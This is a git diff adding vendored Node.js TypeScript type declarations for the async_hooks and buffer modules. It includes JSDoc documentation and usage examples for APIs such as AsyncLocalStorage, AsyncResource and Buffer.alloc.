createHook, + * } from 'node:async_hooks'; + * const sym = Symbol('state'); // Private symbol to avoid pollution + * + * createHook({ + * init(asyncId, type, triggerAsyncId, resource) { + * const cr = executionAsyncResource(); + * if (cr) { + * resource[sym] = cr[sym]; + * } + * }, + * }).enable(); + * + * const server = createServer((req, res) => { + * executionAsyncResource()[sym] = { state: req.url }; + * setTimeout(function() { + * res.end(JSON.stringify(executionAsyncResource()[sym])); + * }, 100); + * }).listen(3000); + * ``` + * @since v13.9.0, v12.17.0 + * @return The resource representing the current execution. Useful to store data within the resource. + */ + function executionAsyncResource(): object; + /** + * ```js + * const server = net.createServer((conn) => { + * // The resource that caused (or triggered) this callback to be called + * // was that of the new connection. Thus the return value of triggerAsyncId() + * // is the asyncId of "conn". + * async_hooks.triggerAsyncId(); + * + * }).listen(port, () => { + * // Even though all callbacks passed to .listen() are wrapped in a nextTick() + * // the callback itself exists because the call to the server's .listen() + * // was made. So the return value would be the ID of the server. + * async_hooks.triggerAsyncId(); + * }); + * ``` + * + * Promise contexts may not get valid `triggerAsyncId`s by default. See + * the section on [promise execution tracking](https://nodejs.org/docs/latest-v22.x/api/async_hooks.html#promise-execution-tracking). + * @return The ID of the resource responsible for calling the callback that is currently being executed. + */ + function triggerAsyncId(): number; + interface HookCallbacks { + /** + * Called when a class is constructed that has the possibility to emit an asynchronous event. + * @param asyncId A unique ID for the async resource + * @param type The type of the async resource + * @param triggerAsyncId The unique ID of the async resource in whose execution context this async resource was created + * @param resource Reference to the resource representing the async operation, needs to be released during destroy + */ + init?(asyncId: number, type: string, triggerAsyncId: number, resource: object): void; + /** + * When an asynchronous operation is initiated or completes a callback is called to notify the user. + * The before callback is called just before said callback is executed. + * @param asyncId the unique identifier assigned to the resource about to execute the callback. + */ + before?(asyncId: number): void; + /** + * Called immediately after the callback specified in `before` is completed. + * + * If an uncaught exception occurs during execution of the callback, then `after` will run after the `'uncaughtException'` event is emitted or a `domain`'s handler runs. + * @param asyncId the unique identifier assigned to the resource which has executed the callback. + */ + after?(asyncId: number): void; + /** + * Called when a promise has resolve() called. This may not be in the same execution id + * as the promise itself. + * @param asyncId the unique id for the promise that was resolve()d. + */ + promiseResolve?(asyncId: number): void; + /** + * Called after the resource corresponding to asyncId is destroyed + * @param asyncId a unique ID for the async resource + */ + destroy?(asyncId: number): void; + } + interface AsyncHook { + /** + * Enable the callbacks for a given AsyncHook instance. If no callbacks are provided enabling is a noop. + */ + enable(): this; + /** + * Disable the callbacks for a given AsyncHook instance from the global pool of AsyncHook callbacks to be executed. Once a hook has been disabled it will not be called again until enabled. + */ + disable(): this; + } + /** + * Registers functions to be called for different lifetime events of each async + * operation. + * + * The callbacks `init()`/`before()`/`after()`/`destroy()` are called for the + * respective asynchronous event during a resource's lifetime. + * + * All callbacks are optional. For example, if only resource cleanup needs to + * be tracked, then only the `destroy` callback needs to be passed. The + * specifics of all functions that can be passed to `callbacks` is in the `Hook Callbacks` section. + * + * ```js + * import { createHook } from 'node:async_hooks'; + * + * const asyncHook = createHook({ + * init(asyncId, type, triggerAsyncId, resource) { }, + * destroy(asyncId) { }, + * }); + * ``` + * + * The callbacks will be inherited via the prototype chain: + * + * ```js + * class MyAsyncCallbacks { + * init(asyncId, type, triggerAsyncId, resource) { } + * destroy(asyncId) {} + * } + * + * class MyAddedCallbacks extends MyAsyncCallbacks { + * before(asyncId) { } + * after(asyncId) { } + * } + * + * const asyncHook = async_hooks.createHook(new MyAddedCallbacks()); + * ``` + * + * Because promises are asynchronous resources whose lifecycle is tracked + * via the async hooks mechanism, the `init()`, `before()`, `after()`, and`destroy()` callbacks _must not_ be async functions that return promises. + * @since v8.1.0 + * @param callbacks The `Hook Callbacks` to register + * @return Instance used for disabling and enabling hooks + */ + function createHook(callbacks: HookCallbacks): AsyncHook; + interface AsyncResourceOptions { + /** + * The ID of the execution context that created this async event. + * @default executionAsyncId() + */ + triggerAsyncId?: number | undefined; + /** + * Disables automatic `emitDestroy` when the object is garbage collected. + * This usually does not need to be set (even if `emitDestroy` is called + * manually), unless the resource's `asyncId` is retrieved and the + * sensitive API's `emitDestroy` is called with it. + * @default false + */ + requireManualDestroy?: boolean | undefined; + } + /** + * The class `AsyncResource` is designed to be extended by the embedder's async + * resources. Using this, users can easily trigger the lifetime events of their + * own resources. + * + * The `init` hook will trigger when an `AsyncResource` is instantiated. + * + * The following is an overview of the `AsyncResource` API. + * + * ```js + * import { AsyncResource, executionAsyncId } from 'node:async_hooks'; + * + * // AsyncResource() is meant to be extended. Instantiating a + * // new AsyncResource() also triggers init. If triggerAsyncId is omitted then + * // async_hook.executionAsyncId() is used. + * const asyncResource = new AsyncResource( + * type, { triggerAsyncId: executionAsyncId(), requireManualDestroy: false }, + * ); + * + * // Run a function in the execution context of the resource. This will + * // * establish the context of the resource + * // * trigger the AsyncHooks before callbacks + * // * call the provided function `fn` with the supplied arguments + * // * trigger the AsyncHooks after callbacks + * // * restore the original execution context + * asyncResource.runInAsyncScope(fn, thisArg, ...args); + * + * // Call AsyncHooks destroy callbacks. + * asyncResource.emitDestroy(); + * + * // Return the unique ID assigned to the AsyncResource instance. + * asyncResource.asyncId(); + * + * // Return the trigger ID for the AsyncResource instance. + * asyncResource.triggerAsyncId(); + * ``` + */ + class AsyncResource { + /** + * AsyncResource() is meant to be extended. Instantiating a + * new AsyncResource() also triggers init. If triggerAsyncId is omitted then + * async_hook.executionAsyncId() is used. + * @param type The type of async event. + * @param triggerAsyncId The ID of the execution context that created + * this async event (default: `executionAsyncId()`), or an + * AsyncResourceOptions object (since v9.3.0) + */ + constructor(type: string, triggerAsyncId?: number | AsyncResourceOptions); + /** + * Binds the given function to the current execution context. + * @since v14.8.0, v12.19.0 + * @param fn The function to bind to the current execution context. + * @param type An optional name to associate with the underlying `AsyncResource`. + */ + static bind any, ThisArg>( + fn: Func, + type?: string, + thisArg?: ThisArg, + ): Func; + /** + * Binds the given function to execute to this `AsyncResource`'s scope. + * @since v14.8.0, v12.19.0 + * @param fn The function to bind to the current `AsyncResource`. + */ + bind any>(fn: Func): Func; + /** + * Call the provided function with the provided arguments in the execution context + * of the async resource. This will establish the context, trigger the AsyncHooks + * before callbacks, call the function, trigger the AsyncHooks after callbacks, and + * then restore the original execution context. + * @since v9.6.0 + * @param fn The function to call in the execution context of this async resource. + * @param thisArg The receiver to be used for the function call. + * @param args Optional arguments to pass to the function. + */ + runInAsyncScope( + fn: (this: This, ...args: any[]) => Result, + thisArg?: This, + ...args: any[] + ): Result; + /** + * Call all `destroy` hooks. This should only ever be called once. An error will + * be thrown if it is called more than once. This **must** be manually called. If + * the resource is left to be collected by the GC then the `destroy` hooks will + * never be called. + * @return A reference to `asyncResource`. + */ + emitDestroy(): this; + /** + * @return The unique `asyncId` assigned to the resource. + */ + asyncId(): number; + /** + * @return The same `triggerAsyncId` that is passed to the `AsyncResource` constructor. + */ + triggerAsyncId(): number; + } + /** + * This class creates stores that stay coherent through asynchronous operations. + * + * While you can create your own implementation on top of the `node:async_hooks` module, `AsyncLocalStorage` should be preferred as it is a performant and memory + * safe implementation that involves significant optimizations that are non-obvious + * to implement. + * + * The following example uses `AsyncLocalStorage` to build a simple logger + * that assigns IDs to incoming HTTP requests and includes them in messages + * logged within each request. + * + * ```js + * import http from 'node:http'; + * import { AsyncLocalStorage } from 'node:async_hooks'; + * + * const asyncLocalStorage = new AsyncLocalStorage(); + * + * function logWithId(msg) { + * const id = asyncLocalStorage.getStore(); + * console.log(`${id !== undefined ? id : '-'}:`, msg); + * } + * + * let idSeq = 0; + * http.createServer((req, res) => { + * asyncLocalStorage.run(idSeq++, () => { + * logWithId('start'); + * // Imagine any chain of async operations here + * setImmediate(() => { + * logWithId('finish'); + * res.end(); + * }); + * }); + * }).listen(8080); + * + * http.get('http://localhost:8080'); + * http.get('http://localhost:8080'); + * // Prints: + * // 0: start + * // 1: start + * // 0: finish + * // 1: finish + * ``` + * + * Each instance of `AsyncLocalStorage` maintains an independent storage context. + * Multiple instances can safely exist simultaneously without risk of interfering + * with each other's data. + * @since v13.10.0, v12.17.0 + */ + class AsyncLocalStorage { + /** + * Binds the given function to the current execution context. + * @since v19.8.0 + * @experimental + * @param fn The function to bind to the current execution context. + * @return A new function that calls `fn` within the captured execution context. + */ + static bind any>(fn: Func): Func; + /** + * Captures the current execution context and returns a function that accepts a + * function as an argument. Whenever the returned function is called, it + * calls the function passed to it within the captured context. + * + * ```js + * const asyncLocalStorage = new AsyncLocalStorage(); + * const runInAsyncScope = asyncLocalStorage.run(123, () => AsyncLocalStorage.snapshot()); + * const result = asyncLocalStorage.run(321, () => runInAsyncScope(() => asyncLocalStorage.getStore())); + * console.log(result); // returns 123 + * ``` + * + * AsyncLocalStorage.snapshot() can replace the use of AsyncResource for simple + * async context tracking purposes, for example: + * + * ```js + * class Foo { + * #runInAsyncScope = AsyncLocalStorage.snapshot(); + * + * get() { return this.#runInAsyncScope(() => asyncLocalStorage.getStore()); } + * } + * + * const foo = asyncLocalStorage.run(123, () => new Foo()); + * console.log(asyncLocalStorage.run(321, () => foo.get())); // returns 123 + * ``` + * @since v19.8.0 + * @experimental + * @return A new function with the signature `(fn: (...args) : R, ...args) : R`. + */ + static snapshot(): (fn: (...args: TArgs) => R, ...args: TArgs) => R; + /** + * Disables the instance of `AsyncLocalStorage`. All subsequent calls + * to `asyncLocalStorage.getStore()` will return `undefined` until `asyncLocalStorage.run()` or `asyncLocalStorage.enterWith()` is called again. + * + * When calling `asyncLocalStorage.disable()`, all current contexts linked to the + * instance will be exited. + * + * Calling `asyncLocalStorage.disable()` is required before the `asyncLocalStorage` can be garbage collected. This does not apply to stores + * provided by the `asyncLocalStorage`, as those objects are garbage collected + * along with the corresponding async resources. + * + * Use this method when the `asyncLocalStorage` is not in use anymore + * in the current process. + * @since v13.10.0, v12.17.0 + * @experimental + */ + disable(): void; + /** + * Returns the current store. + * If called outside of an asynchronous context initialized by + * calling `asyncLocalStorage.run()` or `asyncLocalStorage.enterWith()`, it + * returns `undefined`. + * @since v13.10.0, v12.17.0 + */ + getStore(): T | undefined; + /** + * Runs a function synchronously within a context and returns its + * return value. The store is not accessible outside of the callback function. + * The store is accessible to any asynchronous operations created within the + * callback. + * + * The optional `args` are passed to the callback function. + * + * If the callback function throws an error, the error is thrown by `run()` too. + * The stacktrace is not impacted by this call and the context is exited. + * + * Example: + * + * ```js + * const store = { id: 2 }; + * try { + * asyncLocalStorage.run(store, () => { + * asyncLocalStorage.getStore(); // Returns the store object + * setTimeout(() => { + * asyncLocalStorage.getStore(); // Returns the store object + * }, 200); + * throw new Error(); + * }); + * } catch (e) { + * asyncLocalStorage.getStore(); // Returns undefined + * // The error will be caught here + * } + * ``` + * @since v13.10.0, v12.17.0 + */ + run(store: T, callback: () => R): R; + run(store: T, callback: (...args: TArgs) => R, ...args: TArgs): R; + /** + * Runs a function synchronously outside of a context and returns its + * return value. The store is not accessible within the callback function or + * the asynchronous operations created within the callback. Any `getStore()` call done within the callback function will always return `undefined`. + * + * The optional `args` are passed to the callback function. + * + * If the callback function throws an error, the error is thrown by `exit()` too. + * The stacktrace is not impacted by this call and the context is re-entered. + * + * Example: + * + * ```js + * // Within a call to run + * try { + * asyncLocalStorage.getStore(); // Returns the store object or value + * asyncLocalStorage.exit(() => { + * asyncLocalStorage.getStore(); // Returns undefined + * throw new Error(); + * }); + * } catch (e) { + * asyncLocalStorage.getStore(); // Returns the same object or value + * // The error will be caught here + * } + * ``` + * @since v13.10.0, v12.17.0 + * @experimental + */ + exit(callback: (...args: TArgs) => R, ...args: TArgs): R; + /** + * Transitions into the context for the remainder of the current + * synchronous execution and then persists the store through any following + * asynchronous calls. + * + * Example: + * + * ```js + * const store = { id: 1 }; + * // Replaces previous store with the given store object + * asyncLocalStorage.enterWith(store); + * asyncLocalStorage.getStore(); // Returns the store object + * someAsyncOperation(() => { + * asyncLocalStorage.getStore(); // Returns the same object + * }); + * ``` + * + * This transition will continue for the _entire_ synchronous execution. + * This means that if, for example, the context is entered within an event + * handler subsequent event handlers will also run within that context unless + * specifically bound to another context with an `AsyncResource`. That is why `run()` should be preferred over `enterWith()` unless there are strong reasons + * to use the latter method. + * + * ```js + * const store = { id: 1 }; + * + * emitter.on('my-event', () => { + * asyncLocalStorage.enterWith(store); + * }); + * emitter.on('my-event', () => { + * asyncLocalStorage.getStore(); // Returns the same object + * }); + * + * asyncLocalStorage.getStore(); // Returns undefined + * emitter.emit('my-event'); + * asyncLocalStorage.getStore(); // Returns the same object + * ``` + * @since v13.11.0, v12.17.0 + * @experimental + */ + enterWith(store: T): void; + } +} +declare module "node:async_hooks" { + export * from "async_hooks"; +} diff --git a/node_modules/@types/node/buffer.buffer.d.ts b/node_modules/@types/node/buffer.buffer.d.ts new file mode 100644 index 000000000000..0b6c49a6431b --- /dev/null +++ b/node_modules/@types/node/buffer.buffer.d.ts @@ -0,0 +1,385 @@ +declare module "buffer" { + global { + interface BufferConstructor { + // see buffer.d.ts for implementation shared with all TypeScript versions + + /** + * Allocates a new buffer containing the given {str}. + * + * @param str String to store in buffer. + * @param encoding encoding to use, optional. Default is 'utf8' + * @deprecated since v10.0.0 - Use `Buffer.from(string[, encoding])` instead. + */ + new(str: string, encoding?: BufferEncoding): Buffer; + /** + * Allocates a new buffer of {size} octets. + * + * @param size count of octets to allocate. + * @deprecated since v10.0.0 - Use `Buffer.alloc()` instead (also see `Buffer.allocUnsafe()`). + */ + new(size: number): Buffer; + /** + * Allocates a new buffer containing the given {array} of octets. + * + * @param array The octets to store. + * @deprecated since v10.0.0 - Use `Buffer.from(array)` instead. + */ + new(array: Uint8Array): Buffer; + /** + * Produces a Buffer backed by the same allocated memory as + * the given {ArrayBuffer}/{SharedArrayBuffer}. + * + * @param arrayBuffer The ArrayBuffer with which to share memory. + * @deprecated since v10.0.0 - Use `Buffer.from(arrayBuffer[, byteOffset[, length]])` instead. + */ + new(arrayBuffer: TArrayBuffer): Buffer; + /** + * Allocates a new buffer containing the given {array} of octets. + * + * @param array The octets to store. + * @deprecated since v10.0.0 - Use `Buffer.from(array)` instead. + */ + new(array: readonly any[]): Buffer; + /** + * Copies the passed {buffer} data onto a new {Buffer} instance. + * + * @param buffer The buffer to copy. + * @deprecated since v10.0.0 - Use `Buffer.from(buffer)` instead. + */ + new(buffer: Buffer): Buffer; + /** + * Allocates a new `Buffer` using an `array` of bytes in the range `0` – `255`. + * Array entries outside that range will be truncated to fit into it. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * // Creates a new Buffer containing the UTF-8 bytes of the string 'buffer'. + * const buf = Buffer.from([0x62, 0x75, 0x66, 0x66, 0x65, 0x72]); + * ``` + * + * If `array` is an `Array`\-like object (that is, one with a `length` property of + * type `number`), it is treated as if it is an array, unless it is a `Buffer` or + * a `Uint8Array`. This means all other `TypedArray` variants get treated as an `Array`. To create a `Buffer` from the bytes backing a `TypedArray`, use `Buffer.copyBytesFrom()`. + * + * A `TypeError` will be thrown if `array` is not an `Array` or another type + * appropriate for `Buffer.from()` variants. + * + * `Buffer.from(array)` and `Buffer.from(string)` may also use the internal `Buffer` pool like `Buffer.allocUnsafe()` does. + * @since v5.10.0 + */ + from( + arrayBuffer: WithImplicitCoercion, + byteOffset?: number, + length?: number, + ): Buffer; + /** + * Creates a new Buffer using the passed {data} + * @param data data to create a new Buffer + */ + from(data: Uint8Array | readonly number[]): Buffer; + from(data: WithImplicitCoercion): Buffer; + /** + * Creates a new Buffer containing the given JavaScript string {str}. + * If provided, the {encoding} parameter identifies the character encoding. + * If not provided, {encoding} defaults to 'utf8'. + */ + from( + str: + | WithImplicitCoercion + | { + [Symbol.toPrimitive](hint: "string"): string; + }, + encoding?: BufferEncoding, + ): Buffer; + /** + * Creates a new Buffer using the passed {data} + * @param values to create a new Buffer + */ + of(...items: number[]): Buffer; + /** + * Returns a new `Buffer` which is the result of concatenating all the `Buffer` instances in the `list` together. + * + * If the list has no items, or if the `totalLength` is 0, then a new zero-length `Buffer` is returned. + * + * If `totalLength` is not provided, it is calculated from the `Buffer` instances + * in `list` by adding their lengths. + * + * If `totalLength` is provided, it is coerced to an unsigned integer. If the + * combined length of the `Buffer`s in `list` exceeds `totalLength`, the result is + * truncated to `totalLength`. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * // Create a single `Buffer` from a list of three `Buffer` instances. + * + * const buf1 = Buffer.alloc(10); + * const buf2 = Buffer.alloc(14); + * const buf3 = Buffer.alloc(18); + * const totalLength = buf1.length + buf2.length + buf3.length; + * + * console.log(totalLength); + * // Prints: 42 + * + * const bufA = Buffer.concat([buf1, buf2, buf3], totalLength); + * + * console.log(bufA); + * // Prints: + * console.log(bufA.length); + * // Prints: 42 + * ``` + * + * `Buffer.concat()` may also use the internal `Buffer` pool like `Buffer.allocUnsafe()` does. + * @since v0.7.11 + * @param list List of `Buffer` or {@link Uint8Array} instances to concatenate. + * @param totalLength Total length of the `Buffer` instances in `list` when concatenated. + */ + concat(list: readonly Uint8Array[], totalLength?: number): Buffer; + /** + * Copies the underlying memory of `view` into a new `Buffer`. + * + * ```js + * const u16 = new Uint16Array([0, 0xffff]); + * const buf = Buffer.copyBytesFrom(u16, 1, 1); + * u16[1] = 0; + * console.log(buf.length); // 2 + * console.log(buf[0]); // 255 + * console.log(buf[1]); // 255 + * ``` + * @since v19.8.0 + * @param view The {TypedArray} to copy. + * @param [offset=0] The starting offset within `view`. + * @param [length=view.length - offset] The number of elements from `view` to copy. + */ + copyBytesFrom(view: NodeJS.TypedArray, offset?: number, length?: number): Buffer; + /** + * Allocates a new `Buffer` of `size` bytes. If `fill` is `undefined`, the`Buffer` will be zero-filled. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.alloc(5); + * + * console.log(buf); + * // Prints: + * ``` + * + * If `size` is larger than {@link constants.MAX_LENGTH} or smaller than 0, `ERR_OUT_OF_RANGE` is thrown. + * + * If `fill` is specified, the allocated `Buffer` will be initialized by calling `buf.fill(fill)`. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.alloc(5, 'a'); + * + * console.log(buf); + * // Prints: + * ``` + * + * If both `fill` and `encoding` are specified, the allocated `Buffer` will be + * initialized by calling `buf.fill(fill, encoding)`. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.alloc(11, 'aGVsbG8gd29ybGQ=', 'base64'); + * + * console.log(buf); + * // Prints: + * ``` + * + * Calling `Buffer.alloc()` can be measurably slower than the alternative `Buffer.allocUnsafe()` but ensures that the newly created `Buffer` instance + * contents will never contain sensitive data from previous allocations, including + * data that might not have been allocated for `Buffer`s. + * + * A `TypeError` will be thrown if `size` is not a number. + * @since v5.10.0 + * @param size The desired length of the new `Buffer`. + * @param [fill=0] A value to pre-fill the new `Buffer` with. + * @param [encoding='utf8'] If `fill` is a string, this is its encoding. + */ + alloc(size: number, fill?: string | Uint8Array | number, encoding?: BufferEncoding): Buffer; + /** + * Allocates a new `Buffer` of `size` bytes. If `size` is larger than {@link constants.MAX_LENGTH} or smaller than 0, `ERR_OUT_OF_RANGE` is thrown. + * + * The underlying memory for `Buffer` instances created in this way is _not_ + * _initialized_. The contents of the newly created `Buffer` are unknown and _may contain sensitive data_. Use `Buffer.alloc()` instead to initialize`Buffer` instances with zeroes. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.allocUnsafe(10); + * + * console.log(buf); + * // Prints (contents may vary): + * + * buf.fill(0); + * + * console.log(buf); + * // Prints: + * ``` + * + * A `TypeError` will be thrown if `size` is not a number. + * + * The `Buffer` module pre-allocates an internal `Buffer` instance of + * size `Buffer.poolSize` that is used as a pool for the fast allocation of new `Buffer` instances created using `Buffer.allocUnsafe()`, `Buffer.from(array)`, + * and `Buffer.concat()` only when `size` is less than `Buffer.poolSize >>> 1` (floor of `Buffer.poolSize` divided by two). + * + * Use of this pre-allocated internal memory pool is a key difference between + * calling `Buffer.alloc(size, fill)` vs. `Buffer.allocUnsafe(size).fill(fill)`. + * Specifically, `Buffer.alloc(size, fill)` will _never_ use the internal `Buffer`pool, while `Buffer.allocUnsafe(size).fill(fill)`_will_ use the internal`Buffer` pool if `size` is less + * than or equal to half `Buffer.poolSize`. The + * difference is subtle but can be important when an application requires the + * additional performance that `Buffer.allocUnsafe()` provides. + * @since v5.10.0 + * @param size The desired length of the new `Buffer`. + */ + allocUnsafe(size: number): Buffer; + /** + * Allocates a new `Buffer` of `size` bytes. If `size` is larger than {@link constants.MAX_LENGTH} or smaller than 0, `ERR_OUT_OF_RANGE` is thrown. A zero-length `Buffer` is created if + * `size` is 0. + * + * The underlying memory for `Buffer` instances created in this way is _not_ + * _initialized_. The contents of the newly created `Buffer` are unknown and _may contain sensitive data_. Use `buf.fill(0)` to initialize + * such `Buffer` instances with zeroes. + * + * When using `Buffer.allocUnsafe()` to allocate new `Buffer` instances, + * allocations under 4 KiB are sliced from a single pre-allocated `Buffer`. This + * allows applications to avoid the garbage collection overhead of creating many + * individually allocated `Buffer` instances. This approach improves both + * performance and memory usage by eliminating the need to track and clean up as + * many individual `ArrayBuffer` objects. + * + * However, in the case where a developer may need to retain a small chunk of + * memory from a pool for an indeterminate amount of time, it may be appropriate + * to create an un-pooled `Buffer` instance using `Buffer.allocUnsafeSlow()` and + * then copying out the relevant bits. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * // Need to keep around a few small chunks of memory. + * const store = []; + * + * socket.on('readable', () => { + * let data; + * while (null !== (data = readable.read())) { + * // Allocate for retained data. + * const sb = Buffer.allocUnsafeSlow(10); + * + * // Copy the data into the new allocation. + * data.copy(sb, 0, 0, 10); + * + * store.push(sb); + * } + * }); + * ``` + * + * A `TypeError` will be thrown if `size` is not a number. + * @since v5.12.0 + * @param size The desired length of the new `Buffer`. + */ + allocUnsafeSlow(size: number): Buffer; + } + interface Buffer extends Uint8Array { + // see buffer.d.ts for implementation shared with all TypeScript versions + + /** + * Returns a new `Buffer` that references the same memory as the original, but + * offset and cropped by the `start` and `end` indices. + * + * This method is not compatible with the `Uint8Array.prototype.slice()`, + * which is a superclass of `Buffer`. To copy the slice, use`Uint8Array.prototype.slice()`. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.from('buffer'); + * + * const copiedBuf = Uint8Array.prototype.slice.call(buf); + * copiedBuf[0]++; + * console.log(copiedBuf.toString()); + * // Prints: cuffer + * + * console.log(buf.toString()); + * // Prints: buffer + * + * // With buf.slice(), the original buffer is modified. + * const notReallyCopiedBuf = buf.slice(); + * notReallyCopiedBuf[0]++; + * console.log(notReallyCopiedBuf.toString()); + * // Prints: cuffer + * console.log(buf.toString()); + * // Also prints: cuffer (!) + * ``` + * @since v0.3.0 + * @deprecated Use `subarray` instead. + * @param [start=0] Where the new `Buffer` will start. + * @param [end=buf.length] Where the new `Buffer` will end (not inclusive). + */ + slice(start?: number, end?: number): Buffer; + /** + * Returns a new `Buffer` that references the same memory as the original, but + * offset and cropped by the `start` and `end` indices. + * + * Specifying `end` greater than `buf.length` will return the same result as + * that of `end` equal to `buf.length`. + * + * This method is inherited from [`TypedArray.prototype.subarray()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray/subarray). + * + * Modifying the new `Buffer` slice will modify the memory in the original `Buffer`because the allocated memory of the two objects overlap. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * // Create a `Buffer` with the ASCII alphabet, take a slice, and modify one byte + * // from the original `Buffer`. + * + * const buf1 = Buffer.allocUnsafe(26); + * + * for (let i = 0; i < 26; i++) { + * // 97 is the decimal ASCII value for 'a'. + * buf1[i] = i + 97; + * } + * + * const buf2 = buf1.subarray(0, 3); + * + * console.log(buf2.toString('ascii', 0, buf2.length)); + * // Prints: abc + * + * buf1[0] = 33; + * + * console.log(buf2.toString('ascii', 0, buf2.length)); + * // Prints: !bc + * ``` + * + * Specifying negative indexes causes the slice to be generated relative to the + * end of `buf` rather than the beginning. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.from('buffer'); + * + * console.log(buf.subarray(-6, -1).toString()); + * // Prints: buffe + * // (Equivalent to buf.subarray(0, 5).) + * + * console.log(buf.subarray(-6, -2).toString()); + * // Prints: buff + * // (Equivalent to buf.subarray(0, 4).) + * + * console.log(buf.subarray(-5, -2).toString()); + * // Prints: uff + * // (Equivalent to buf.subarray(1, 4).) + * ``` + * @since v3.0.0 + * @param [start=0] Where the new `Buffer` will start. + * @param [end=buf.length] Where the new `Buffer` will end (not inclusive). + */ + subarray(start?: number, end?: number): Buffer; + } + } +} diff --git a/node_modules/@types/node/buffer.d.ts b/node_modules/@types/node/buffer.d.ts new file mode 100644 index 000000000000..792bf4d75d9b --- /dev/null +++ b/node_modules/@types/node/buffer.d.ts @@ -0,0 +1,1933 @@ +// If lib.dom.d.ts or lib.webworker.d.ts is loaded, then use the global types. +// Otherwise, use the types from node. +type _Blob = typeof globalThis extends { onmessage: any; Blob: any } ? {} : import("buffer").Blob; +type _File = typeof globalThis extends { onmessage: any; File: any } ? {} : import("buffer").File; + +/** + * `Buffer` objects are used to represent a fixed-length sequence of bytes. Many + * Node.js APIs support `Buffer`s. + * + * The `Buffer` class is a subclass of JavaScript's [`Uint8Array`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Uint8Array) class and + * extends it with methods that cover additional use cases. Node.js APIs accept + * plain [`Uint8Array`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Uint8Array) s wherever `Buffer`s are supported as well. + * + * While the `Buffer` class is available within the global scope, it is still + * recommended to explicitly reference it via an import or require statement. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * // Creates a zero-filled Buffer of length 10. + * const buf1 = Buffer.alloc(10); + * + * // Creates a Buffer of length 10, + * // filled with bytes which all have the value `1`. + * const buf2 = Buffer.alloc(10, 1); + * + * // Creates an uninitialized buffer of length 10. + * // This is faster than calling Buffer.alloc() but the returned + * // Buffer instance might contain old data that needs to be + * // overwritten using fill(), write(), or other functions that fill the Buffer's + * // contents. + * const buf3 = Buffer.allocUnsafe(10); + * + * // Creates a Buffer containing the bytes [1, 2, 3]. + * const buf4 = Buffer.from([1, 2, 3]); + * + * // Creates a Buffer containing the bytes [1, 1, 1, 1] – the entries + * // are all truncated using `(value & 255)` to fit into the range 0–255. + * const buf5 = Buffer.from([257, 257.5, -255, '1']); + * + * // Creates a Buffer containing the UTF-8-encoded bytes for the string 'tést': + * // [0x74, 0xc3, 0xa9, 0x73, 0x74] (in hexadecimal notation) + * // [116, 195, 169, 115, 116] (in decimal notation) + * const buf6 = Buffer.from('tést'); + * + * // Creates a Buffer containing the Latin-1 bytes [0x74, 0xe9, 0x73, 0x74]. + * const buf7 = Buffer.from('tést', 'latin1'); + * ``` + * @see [source](https://github.com/nodejs/node/blob/v22.x/lib/buffer.js) + */ +declare module "buffer" { + import { BinaryLike } from "node:crypto"; + import { ReadableStream as WebReadableStream } from "node:stream/web"; + /** + * This function returns `true` if `input` contains only valid UTF-8-encoded data, + * including the case in which `input` is empty. + * + * Throws if the `input` is a detached array buffer. + * @since v19.4.0, v18.14.0 + * @param input The input to validate. + */ + export function isUtf8(input: Buffer | ArrayBuffer | NodeJS.TypedArray): boolean; + /** + * This function returns `true` if `input` contains only valid ASCII-encoded data, + * including the case in which `input` is empty. + * + * Throws if the `input` is a detached array buffer. + * @since v19.6.0, v18.15.0 + * @param input The input to validate. + */ + export function isAscii(input: Buffer | ArrayBuffer | NodeJS.TypedArray): boolean; + export const INSPECT_MAX_BYTES: number; + export const kMaxLength: number; + export const kStringMaxLength: number; + export const constants: { + MAX_LENGTH: number; + MAX_STRING_LENGTH: number; + }; + export type TranscodeEncoding = + | "ascii" + | "utf8" + | "utf-8" + | "utf16le" + | "utf-16le" + | "ucs2" + | "ucs-2" + | "latin1" + | "binary"; + /** + * Re-encodes the given `Buffer` or `Uint8Array` instance from one character + * encoding to another. Returns a new `Buffer` instance. + * + * Throws if the `fromEnc` or `toEnc` specify invalid character encodings or if + * conversion from `fromEnc` to `toEnc` is not permitted. + * + * Encodings supported by `buffer.transcode()` are: `'ascii'`, `'utf8'`, `'utf16le'`, `'ucs2'`, `'latin1'`, and `'binary'`. + * + * The transcoding process will use substitution characters if a given byte + * sequence cannot be adequately represented in the target encoding. For instance: + * + * ```js + * import { Buffer, transcode } from 'node:buffer'; + * + * const newBuf = transcode(Buffer.from('€'), 'utf8', 'ascii'); + * console.log(newBuf.toString('ascii')); + * // Prints: '?' + * ``` + * + * Because the Euro (`€`) sign is not representable in US-ASCII, it is replaced + * with `?` in the transcoded `Buffer`. + * @since v7.1.0 + * @param source A `Buffer` or `Uint8Array` instance. + * @param fromEnc The current encoding. + * @param toEnc To target encoding. + */ + export function transcode(source: Uint8Array, fromEnc: TranscodeEncoding, toEnc: TranscodeEncoding): Buffer; + export const SlowBuffer: { + /** @deprecated since v6.0.0, use `Buffer.allocUnsafeSlow()` */ + new(size: number): Buffer; + prototype: Buffer; + }; + /** + * Resolves a `'blob:nodedata:...'` an associated `Blob` object registered using + * a prior call to `URL.createObjectURL()`. + * @since v16.7.0 + * @experimental + * @param id A `'blob:nodedata:...` URL string returned by a prior call to `URL.createObjectURL()`. + */ + export function resolveObjectURL(id: string): Blob | undefined; + export { Buffer }; + /** + * @experimental + */ + export interface BlobOptions { + /** + * One of either `'transparent'` or `'native'`. When set to `'native'`, line endings in string source parts + * will be converted to the platform native line-ending as specified by `import { EOL } from 'node:os'`. + */ + endings?: "transparent" | "native"; + /** + * The Blob content-type. The intent is for `type` to convey + * the MIME media type of the data, however no validation of the type format + * is performed. + */ + type?: string | undefined; + } + /** 